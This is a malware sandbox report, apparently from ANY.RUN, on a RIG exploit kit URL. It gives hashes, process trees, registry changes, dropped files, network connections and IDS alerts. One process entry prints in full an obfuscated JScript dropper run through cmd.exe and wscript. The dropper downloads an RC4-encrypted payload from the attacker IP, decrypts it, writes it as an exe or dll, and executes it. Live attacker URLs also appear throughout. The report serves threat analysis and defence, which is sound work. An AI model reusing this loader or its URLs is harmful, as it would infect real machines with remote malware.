URL:

http://31.44.2.63/?NDUwMDM=&oLTZAtBLdMoY&gffd=ton&cxvxcv=xHjQMrnYbRjFFYffLfzKS61bMEjUA0OJwombhafQEpipZDDGpbv1DButo1uFJViCqvtveLU_fwa42kOeOwA&fdfd=53IhtAV1C8a-rh0jdnBGZ0Z-ArB3YNQITrpuXRbg80Vj0zrYXdswulROB6GQFye9MV1IR0Q8jrKaPVKmMrg&xcvxcv=94jmillenium.84qf79.406w7c4i1&dfdf=rope&HmPSFNTYzMg==

Full analysis: https://app.any.run/tasks/1a422ee2-6c6d-49aa-aaf2-cc699da9da6e
Verdict: Malicious activity
Analysis date: December 02, 2023, 15:43:59
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MD5:

ECDACEAB2B9606BF8A6299CF10A77F52

SHA1:

19F795436A80592E85EA4648357167A085731F3C

SHA256:

9DB393454BDED321B98CEED39C0476FD49BEF4D4FEDD9D320BD5058C2E709E63

SSDEEP:

6:CG6mTV6TdG0XLecDo5Dv467AskJR5u/3B8C50T1Gt+cTDXdjD46tn1:56mTC9XLu57Esk75wx8m0xWDXdH46f

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Sends HTTP request (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Creates internet connection object (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Starts CMD.EXE for commands execution

      • iexplore.exe (PID: 1924)
      • iexplore.exe (PID: 2424)

    • Opens an HTTP connection (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Deletes a file (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Unusual connection from system programs

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

  • SUSPICIOUS

    • Changes charset (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Accesses command line arguments (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Gets full path of the running script (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Creates a Stream, which may work with files, input/output devices, pipes, or TCP/IP sockets (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • The process downloads a VBScript from the remote host

      • cmd.exe (PID: 2908)
      • cmd.exe (PID: 3996)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Saves data to a binary file (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

    • Reads the Internet Settings

      • wscript.exe (PID: 1328)
      • wscript.exe (PID: 3684)

  • INFO

    • Application launched itself

      • iexplore.exe (PID: 3476)

    • Reads the computer name

      • wmpnscfg.exe (PID: 644)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 644)

    • Checks supported languages

      • wmpnscfg.exe (PID: 644)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
53
Monitored processes
13
Malicious processes
7
Suspicious processes
0

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe cmd.exe no specs iexplore.exe wscript.exe cmd.exe no specs ntvdm.exe no specs wmpnscfg.exe no specs cmd.exe no specs iexplore.exe wscript.exe cmd.exe no specs ntvdm.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
644"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1276"C:\Windows\system32\ntvdm.exe" C:\Windows\System32\ntvdm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
NTVDM.EXE
Exit code:
255
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntvdm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1328WsCript //B //E:JScript yU.tMp "dfrfgh34" "http://31.44.2.63/?MjY0MDU1&ZvOLsO&gffd=gauze&dfdf=during&cxvxcv=wH_QMvXcJwDMFYPIKeXFTa&fdfd=FbNUrSA0SKw4mG_drTdYHwLnHP0-DJUUictF6bHUORrbMvHeEBOwbojk3VflRjzY0IBgxC9fitiUjUyBWagZ7Q_hTYZAkU-pOlELQ62W2oj7Ik&xcvxcv=105smillenium.90cf61.406a6x1c7&dPICSonlsyMzM2OQ==" "1"C:\Windows\System32\wscript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
1924"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3476 CREDAT:267521 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2424"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3476 CREDAT:333058 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
2908cmd.exe /q /c cd /d "%tmp%" && echo function O(l){return Math.random().toString(36).slice(-5)};function V(k){var y=Q;y["set"+"Proxy"](n);y.open("G"+"ET",k(1),1);y.Option(n)=k(2);y.send();y/**/["Wa"+"itForRes"+"ponse"]();if(200==y["sta"+"tus"])return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=256-1,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e["cha"+"rCodeAt"](b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript.Echo(),o="Object",A=Math,a=Function("b","return WScript.Create"+o+"(b)");P=(""+WScript).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=WScript.Arguments,e="WinHTTP",Z="cmd",Q=a("WinHttp."+"WinHttpRequest.5"+".1"),j=a("W"+P+".Shell"),N=a("ADODB.Stream"),x=O(8)+".",p="e"+"xe",n=0,K=WScript[P+"FullName"],E="."+p;Y="Type";N[Y]=2;N.Charset="iso-8859-1";N.Open();try{v=V(m)}catch(W){v=V(m)};d=v.charCodeAt(027+v[M]("PE\x00\x00"));N.WriteText(v);if(32-1^<d){var z=1;x+="dll"}else x+=p;N.savetofile(x,2);N.Close();z^&^&(x="regsvr"+32+E+" /s "+x);j.run(Z+E+" /c "+x,0)}catch(B){};q.Deletefile(K);>yU.tMp && StArt WsCript //B //E:JScript yU.tMp "dfrfgh34" "http://31.44.2.63/?MjY0MDU1&ZvOLsO&gffd=gauze&dfdf=during&cxvxcv=wH_QMvXcJwDMFYPIKeXFTa&fdfd=FbNUrSA0SKw4mG_drTdYHwLnHP0-DJUUictF6bHUORrbMvHeEBOwbojk3VflRjzY0IBgxC9fitiUjUyBWagZ7Q_hTYZAkU-pOlELQ62W2oj7Ik&xcvxcv=105smillenium.90cf61.406a6x1c7&dPICSonlsyMzM2OQ==" "1"C:\Windows\System32\cmd.exe—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3080"C:\Windows\System32\cmd.exe" /c chakx.exeC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3168"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3476 CREDAT:78849 /prefetch:2C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
3340"C:\Windows\system32\ntvdm.exe" C:\Windows\System32\ntvdm.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
NTVDM.EXE
Exit code:
255
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ntvdm.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3476"C:\Program Files\Internet Explorer\iexplore.exe" "http://31.44.2.63/?NDUwMDM=&oLTZAtBLdMoY&gffd=ton&cxvxcv=xHjQMrnYbRjFFYffLfzKS61bMEjUA0OJwombhafQEpipZDDGpbv1DButo1uFJViCqvtveLU_fwa42kOeOwA&fdfd=53IhtAV1C8a-rh0jdnBGZ0Z-ArB3YNQITrpuXRbg80Vj0zrYXdswulROB6GQFye9MV1IR0Q8jrKaPVKmMrg&xcvxcv=94jmillenium.84qf79.406w7c4i1&dfdf=rope&HmPSFNTYzMg=="C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\program files\internet explorer\iexplore.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\api-ms-win-downlevel-advapi32-l1-1-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iertutil.dll
Total events
15 007
Read events
14 899
Write events
106
Delete events
2

Modification events

(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPDaysSinceLastAutoMigration
Value:
0
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing
Operation:writeName:NTPLastLaunchHighDateTime
Value:
30847387
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\UrlBlockManager
Operation:writeName:NextCheckForUpdateHighDateTime
Value:
30847437
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Operation:writeName:CompatibilityFlags
Value:
0
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3476) iexplore.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
0
Suspicious files
16
Text files
26
Unknown types
1

Dropped files

PID
Process
Filename
Type
1924iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\MFAQUS6V\5X9A3JUV.htmhtml
MD5:09708DBBDA962DFB4286AC9B7C279E11
SHA256:BF8EDA59F9319B44BE98A05B9AAEC0FB7D5BA0BED760F8603A9653D492F30392
2908cmd.exeC:\Users\admin\AppData\Local\Temp\Low\yU.tMptext
MD5:183B182C0D7DB9954AE844FA033A7499
SHA256:B1EB07295B43729E8A1B37FD7BD3C69C7F475F8186D4656F7F3F262CC0A95684
3996cmd.exeC:\Users\admin\AppData\Local\Temp\Low\yU.tMptext
MD5:183B182C0D7DB9954AE844FA033A7499
SHA256:B1EB07295B43729E8A1B37FD7BD3C69C7F475F8186D4656F7F3F262CC0A95684
3340ntvdm.exeC:\Users\admin\AppData\Local\Temp\Low\scs6B42.tmptext
MD5:4C361DEA398F7AEEF49953BDC0AB4A9B
SHA256:06D61C23E6CA59B9DDAD1796ECCC42C032CD8F6F424AF6CFEE5D085D36FF7DFD
2424iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\DY534W2X\80PNL7LA.htmhtml
MD5:78C421F5640C2E9F0D202608F2DCBF52
SHA256:339AB5425868B14102A0A9516E663396D303195E6628656765816B0B2FE94F09
3476iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:C4473AA8E6BA8C9C7857D269C2AE893E
SHA256:8D32CE74FA261A5989B8A40970A3B7B0DABF02A2C68870C2FE599CEE91F351DC
1328wscript.exeC:\Users\admin\AppData\Local\Temp\Low\chakx.exebinary
MD5:5204405BC6A21237934FBEA73D2524FA
SHA256:00B2B08A65FDCFF6434A680992645B455E8F53947889FF03D1223D49C955396A
3476iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.icoimage
MD5:DA597791BE3B6E732F0BC8B20E38EE62
SHA256:5B2C34B3C4E8DD898B664DBA6C3786E2FF9869EFF55D673AA48361F11325ED07
1276ntvdm.exeC:\Users\admin\AppData\Local\Temp\Low\scs6891.tmptext
MD5:8CF6DDB5AA59B49F34B967CD46F013B6
SHA256:EE06792197C3E025B84860A72460EAF628C66637685F8C52C5A08A9CC35D376C
1276ntvdm.exeC:\Users\admin\AppData\Local\Temp\Low\scs6892.tmptext
MD5:4C361DEA398F7AEEF49953BDC0AB4A9B
SHA256:06D61C23E6CA59B9DDAD1796ECCC42C032CD8F6F424AF6CFEE5D085D36FF7DFD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
26
DNS requests
14
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1924
iexplore.exe
GET
200
31.44.2.63:80
http://31.44.2.63/?NDUwMDM=&oLTZAtBLdMoY&gffd=ton&cxvxcv=xHjQMrnYbRjFFYffLfzKS61bMEjUA0OJwombhafQEpipZDDGpbv1DButo1uFJViCqvtveLU_fwa42kOeOwA&fdfd=53IhtAV1C8a-rh0jdnBGZ0Z-ArB3YNQITrpuXRbg80Vj0zrYXdswulROB6GQFye9MV1IR0Q8jrKaPVKmMrg&xcvxcv=94jmillenium.84qf79.406w7c4i1&dfdf=rope&HmPSFNTYzMg==
unknown
html
7.76 Kb
unknown
2424
iexplore.exe
GET
200
31.44.2.63:80
http://31.44.2.63/?NDUwMDM=&oLTZAtBLdMoY&gffd=ton&cxvxcv=xHjQMrnYbRjFFYffLfzKS61bMEjUA0OJwombhafQEpipZDDGpbv1DButo1uFJViCqvtveLU_fwa42kOeOwA&fdfd=53IhtAV1C8a-rh0jdnBGZ0Z-ArB3YNQITrpuXRbg80Vj0zrYXdswulROB6GQFye9MV1IR0Q8jrKaPVKmMrg&xcvxcv=94jmillenium.84qf79.406w7c4i1&dfdf=rope&HmPSFNTYzMg==
unknown
html
7.77 Kb
unknown
3684
wscript.exe
GET
200
31.44.2.63:80
http://31.44.2.63/?NTAxMjI1&xzzhM&cxvxcv=wHzQMvXcJwDNFYPIKeXFTK&xcvxcv=122wsunroom.119dl86.406i7x3j7&gffd=conditioner&dfdf=lorikeet&fdfd=FbNUrSA0WKw4mG_drSdYHwLnHP0ODJUUictF-bHUORrbMsHeEBOwbojk3VflRjzY8IBgxC9fisiUjUyBWagZ7Q_hTYZAsU-pOlHbk60W2oj7Ik&yQWOUfHOWPkNDA4Ng==
unknown
text
3 b
unknown
1328
wscript.exe
GET
200
31.44.2.63:80
http://31.44.2.63/?MjY0MDU1&ZvOLsO&gffd=gauze&dfdf=during&cxvxcv=wH_QMvXcJwDMFYPIKeXFTa&fdfd=FbNUrSA0SKw4mG_drTdYHwLnHP0-DJUUictF6bHUORrbMvHeEBOwbojk3VflRjzY0IBgxC9fitiUjUyBWagZ7Q_hTYZAkU-pOlELQ62W2oj7Ik&xcvxcv=105smillenium.90cf61.406a6x1c7&dPICSonlsyMzM2OQ==
unknown
text
3 b
unknown
3476
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
binary
312 b
unknown
3476
iexplore.exe
GET
200
184.24.77.202:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?7bb6036743caffca
unknown
compressed
4.66 Kb
unknown
3476
iexplore.exe
GET
200
184.24.77.202:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?851c751b721441d0
unknown
compressed
4.66 Kb
unknown
3476
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
3476
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D
unknown
binary
471 b
unknown
3476
iexplore.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
binary
471 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1924
iexplore.exe
31.44.2.63:80
—
Itglobal.com Nl B.v.
NL
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
1328
wscript.exe
31.44.2.63:80
—
Itglobal.com Nl B.v.
NL
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
2588
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2424
iexplore.exe
31.44.2.63:80
—
Itglobal.com Nl B.v.
NL
unknown
3684
wscript.exe
31.44.2.63:80
—
Itglobal.com Nl B.v.
NL
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3476
iexplore.exe
104.126.37.153:443
www.bing.com
Akamai International B.V.
DE
unknown
3476
iexplore.exe
184.24.77.202:80
ctldl.windowsupdate.com
Akamai International B.V.
DE
unknown

DNS requests

Domain
IP
Reputation
api.bing.com
  • 13.107.5.80
whitelisted
www.bing.com
  • 104.126.37.153
  • 104.126.37.145
  • 104.126.37.130
  • 104.126.37.131
  • 104.126.37.154
  • 104.126.37.144
  • 104.126.37.146
  • 104.126.37.139
  • 104.126.37.136
whitelisted
ctldl.windowsupdate.com
  • 184.24.77.202
  • 184.24.77.207
  • 184.24.77.205
  • 184.24.77.203
  • 184.24.77.180
  • 184.24.77.199
  • 184.24.77.174
  • 184.24.77.208
  • 184.24.77.209
  • 184.24.77.193
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
iecvlist.microsoft.com
  • 152.199.19.161
whitelisted
r20swj13mr.microsoft.com
  • 152.199.19.161
whitelisted
ieonline.microsoft.com
  • 204.79.197.200
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
www.msn.com
  • 204.79.197.203
whitelisted

Threats

PID
Process
Class
Message
1924
iexplore.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT RIG EK URI Struct Jun 13 2017
2424
iexplore.exe
Exploit Kit Activity Detected
ET EXPLOIT_KIT RIG EK URI Struct Jun 13 2017
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
http://31.44.2.63/?NDUwMDM=&oLTZAtBLdMoY&gffd=ton&cxvxcv=xHjQMrnYbRjFFYffLfzKS61bMEjUA0OJwombhafQEpipZDDGpbv1DButo1uFJViCqvtveLU_fwa42kOeOwA&fdfd=53IhtAV1C8a-rh0jdnBGZ0Z-ArB3YNQITrpuXRbg80Vj0zrYXdswulROB6GQFye9MV1IR0Q8jrKaPVKmMrg&xcvxcv=94jmillenium.84qf79.406w7c4i1&dfdf=rope&HmPSFNTYzMg==